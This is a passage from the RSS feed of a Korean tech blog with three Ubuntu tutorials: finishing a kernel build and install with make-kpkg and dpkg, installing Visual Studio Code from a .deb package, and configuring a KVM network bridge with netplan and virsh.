&lt;p style=&quot;font-size: 1.25em;&quot;&gt;다만, CPU core의 1.5배~2배가 적당하므로 개인 PC 환경에 맞춰 컴파일 하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo make-kpkg -j2 --initrd --revision=1.0 kernel_image&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;옵션에 대해서 간단히 설명하면 다음과 같다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;make-kpkg: 커널과 관련된 데비안 패키지를 생성하기 위해 사용하는 옵션이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;-j2: 2개의 thread로 컴파일을 진행한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;--initrd:&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;--revision=1.0: 버전 번호는 커널 빌드를 좀 더 쉽게 파악하기 위한 번호이다. 마음대로 수정 가능하다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;kernel_image: kernel_image가 설치할 수 있는 deb로 만들어진다. 즉, [kernel version].deb의 output이 나온다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;커널 컴파일이 끝나면 상위 디렉터리에 linux-image-[kernel version].deb파일이 생기는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HA3hP/btqzcKoSKWN/rOkXTP2uqwGGTNqF9VcctK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HA3hP/btqzcKoSKWN/rOkXTP2uqwGGTNqF9VcctK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HA3hP/btqzcKoSKWN/rOkXTP2uqwGGTNqF9VcctK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHA3hP%2FbtqzcKoSKWN%2FrOkXTP2uqwGGTNqF9VcctK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$sudo dpkg -i &lt;span style=&quot;color: #333333;&quot;&gt;linux-image-[kernel version].deb 커널을 설치 후 reboot 하면 완료이다&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXdGei/btqzaSITxXM/582ko5FQ2NCQHpgJ0SVQEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXdGei/btqzaSITxXM/582ko5FQ2NCQHpgJ0SVQEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXdGei/btqzaSITxXM/582ko5FQ2NCQHpgJ0SVQEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXdGei%2FbtqzaSITxXM%2F582ko5FQ2NCQHpgJ0SVQEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;reboot 후에 아래의 명령어를 통해 새로운 커널이 설치되었음을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;$uname -r&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgQ5s4/btqy92FdLlk/Uxf07hcI0750xtIqT5vXQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgQ5s4/btqy92FdLlk/Uxf07hcI0750xtIqT5vXQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgQ5s4/btqy92FdLlk/Uxf07hcI0750xtIqT5vXQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgQ5s4%2Fbtqy92FdLlk%2FUxf07hcI0750xtIqT5vXQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/246</guid>
      <comments>https://marcokhan.tistory.com/246#entry246comment</comments>
      <pubDate>Sun, 20 Oct 2019 10:29:21 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu] How to install Visual Studio Code</title>
      <link>https://marcokhan.tistory.com/245</link>
      <description>&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;우분투 환경에서 vim, gedit 이외에 editor를 필요로 할 때가 있는데 그 중 MS에서 제공하는 Visual Studio Code가 기능이 좋아, 설치하는 방법에 대해 설명하려 한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Visual Studio Code deb 패키지 다운로드&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;아래 경로를 통해 Visual Studio Code를 다운로드하는 사이트로 이동할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&lt;a href=&quot;https://code.visualstudio.com/download&quot;&gt;https://code.visualstudio.com/downloa&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1571482441874&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Download Visual Studio Code - Mac, Linux, Windows&quot; data-og-description=&quot;Visual Studio Code is free and available on your favorite platform - Linux, macOS, and Windows. Download Visual Studio Code to experience a redefined code editor, optimized for building and debugging modern web and cloud applications.&quot; data-og-host=&quot;code.visualstudio.com&quot; data-og-source-url=&quot;https://code.visualstudio.com/download&quot; data-og-url=&quot;https://code.visualstudio.com/Download&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/zuiSU/hyDjrZlhvm/kZQ9zjV7mpkCKlCWkQAjX1/img.png?width=1012&amp;amp;height=506&amp;amp;face=0_0_1012_506&quot;&gt;&lt;a href=&quot;https://code.visualstudio.com/Download&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code.visualstudio.com/download&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/zuiSU/hyDjrZlhvm/kZQ9zjV7mpkCKlCWkQAjX1/img.png?width=1012&amp;amp;height=506&amp;amp;face=0_0_1012_506');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;Download Visual Studio Code - Mac, Linux, Windows&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;Visual Studio Code is free and available on your favorite platform - Linux, macOS, and Windows. Download Visual Studio Code to experience a redefined code editor, optimized for building and debugging modern web and cloud applications.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;code.visualstudio.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;우분투 환경에서 설치하기 때문에 .deb를 선택한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/evb2zs/btqzaTHABYq/8qs7PXi5p90Jy75I51H7I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/evb2zs/btqzaTHABYq/8qs7PXi5p90Jy75I51H7I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/evb2zs/btqzaTHABYq/8qs7PXi5p90Jy75I51H7I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fevb2zs%2FbtqzaTHABYq%2F8qs7PXi5p90Jy75I51H7I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Save File를 선택한 후 OK를 누른다. 보통 Save File 옵션을 선택하면 ~/Download 경로에 파일이 다운로드 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N3j3N/btqy91szMxx/MmndmewDkmaIFlffLcuE3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N3j3N/btqy91szMxx/MmndmewDkmaIFlffLcuE3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N3j3N/btqy91szMxx/MmndmewDkmaIFlffLcuE3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN3j3N%2Fbtqy91szMxx%2FMmndmewDkmaIFlffLcuE3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;b&gt;2. Visual Studio Code deb 패키지 설치&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Visual Studio Code를 설치 할 때 dpkg 패키지를 사용할 것인데 의존성이 있는 패키지가 있으므로 먼저 의존성이 있는 패키지들을 먼저 설치한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byCw1Q/btqzb8XEHtk/DNU0DxLziL2r4yv6ZdErlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byCw1Q/btqzb8XEHtk/DNU0DxLziL2r4yv6ZdErlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byCw1Q/btqzb8XEHtk/DNU0DxLziL2r4yv6ZdErlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyCw1Q%2Fbtqzb8XEHtk%2FDNU0DxLziL2r4yv6ZdErlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;의존성있는 패키지 설치가 다 되었으면 &quot;dpkg -i [파일이름.deb]&quot;를 통해 deb 파일을 설치할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dMON3D/btqy92SFAJk/uc2pIc4Vakfo0TeN2kkvs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dMON3D/btqy92SFAJk/uc2pIc4Vakfo0TeN2kkvs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dMON3D/btqy92SFAJk/uc2pIc4Vakfo0TeN2kkvs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdMON3D%2Fbtqy92SFAJk%2Fuc2pIc4Vakfo0TeN2kkvs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;console창에 code 명령을 통해 Visual Studio Code를 실행할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2DN8y/btqza9pGFfA/HDdKxMYdtP2UYhjF9dqAaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2DN8y/btqza9pGFfA/HDdKxMYdtP2UYhjF9dqAaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2DN8y/btqza9pGFfA/HDdKxMYdtP2UYhjF9dqAaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2DN8y%2Fbtqza9pGFfA%2FHDdKxMYdtP2UYhjF9dqAaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/245</guid>
      <comments>https://marcokhan.tistory.com/245#entry245comment</comments>
      <pubDate>Sat, 19 Oct 2019 20:01:05 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 18.04/20.04] Ubuntu Host, KVM network bridge setting</title>
      <link>https://marcokhan.tistory.com/244</link>
      <description>&lt;p style=&quot;font-size: 1.12em;&quot;&gt;네트워크 환경(Interface)를 확인하기 위해 아래의 명령을 실행한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;$ ifconfig&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 002.png&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;368&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdr5a1/btqx8KcmMDh/vqVQQNjd1QQnGWHsyeWWm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdr5a1/btqx8KcmMDh/vqVQQNjd1QQnGWHsyeWWm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdr5a1/btqx8KcmMDh/vqVQQNjd1QQnGWHsyeWWm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdr5a1%2Fbtqx8KcmMDh%2FvqVQQNjd1QQnGWHsyeWWm0%2Fimg.png&quot; data-filename=&quot;이미지 002.png&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;368&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;인터페이스 이름이 ens33 으로 설정된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;꼭 ens33이 아닐 수 있으니, ethernet과 flag의 &amp;lt;BROADCAST&amp;gt;를 확인하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;우분투에는 NetPlan이라는 네트워크 환경 설정 데몬이 존재한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;NetPlan 설정파일은 아래의 경로에 존재하고 cat 명령어로 netplan 설정파일의 내용을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;$ cat /etc/netplan/01-network-manager-all.yaml&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 003.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;118&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBBFW3/btqx6AbcGNg/yK5uOTBYUkkTDhc6ary6K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBBFW3/btqx6AbcGNg/yK5uOTBYUkkTDhc6ary6K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBBFW3/btqx6AbcGNg/yK5uOTBYUkkTDhc6ary6K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBBFW3%2Fbtqx6AbcGNg%2FyK5uOTBYUkkTDhc6ary6K0%2Fimg.png&quot; data-filename=&quot;이미지 003.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;118&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;아래와 같이 bridge 설정을 위해 /etc&lt;span style=&quot;color: #333333;&quot;&gt;/netplan/01-network-manager-all.yaml 파일을 수정한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빨간 네모에 주의하여 수정해야한다. 또한 에러가 발생할 수 있으니 띄어쓰기 두개로 들여쓰기를 구분하면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 004.png&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;286&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GYJUG/btqx601M7Jq/uYul5k58JpeL6ymUNZbws0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GYJUG/btqx601M7Jq/uYul5k58JpeL6ymUNZbws0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GYJUG/btqx601M7Jq/uYul5k58JpeL6ymUNZbws0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGYJUG%2Fbtqx601M7Jq%2FuYul5k58JpeL6ymUNZbws0%2Fimg.png&quot; data-filename=&quot;이미지 004.png&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;286&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;아래의 명령어로 netplan 데몬을 이용해 netplan 설정파일을 적용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;$ sudo netplan apply&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;error가 발생하지 않으면 성공적으로 설정파일이 적용된 것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;이후 아래의 내용을 가진 br0.xml 파일을 /etc/ 에 생성한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 005.png&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;100&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uWiZV/btqx6zQWBm3/jEHmPZmTGKgg2nlg9QakxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uWiZV/btqx6zQWBm3/jEHmPZmTGKgg2nlg9QakxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uWiZV/btqx6zQWBm3/jEHmPZmTGKgg2nlg9QakxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuWiZV%2Fbtqx6zQWBm3%2FjEHmPZmTGKgg2nlg9QakxK%2Fimg.png&quot; data-filename=&quot;이미지 005.png&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;100&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;br0.xml을 적용하기 위해 아래의 세 명령어를 실행하면된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;$ sudo virsh net-define br0.xml&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo virsh net-start br0&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo virsh net-autostart br0&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;error가 발생하지 않으면 xml 파일이잘 적용된 것이고 아래 명령어로 네트워크 상태를 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo virsh net-list --all&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Screenshot from 2019-09-06 16-46-24.png&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;498&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CZ6kS/btqx60AKMtG/N9FgQEcJ79lgJiLz8H7T6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CZ6kS/btqx60AKMtG/N9FgQEcJ79lgJiLz8H7T6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CZ6kS/btqx60AKMtG/N9FgQEcJ79lgJiLz8H7T6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCZ6kS%2Fbtqx60AKMtG%2FN9FgQEcJ79lgJiLz8H7T6K%2Fimg.png&quot; data-filename=&quot;Screenshot from 2019-09-06 16-46-24.png&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;498&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
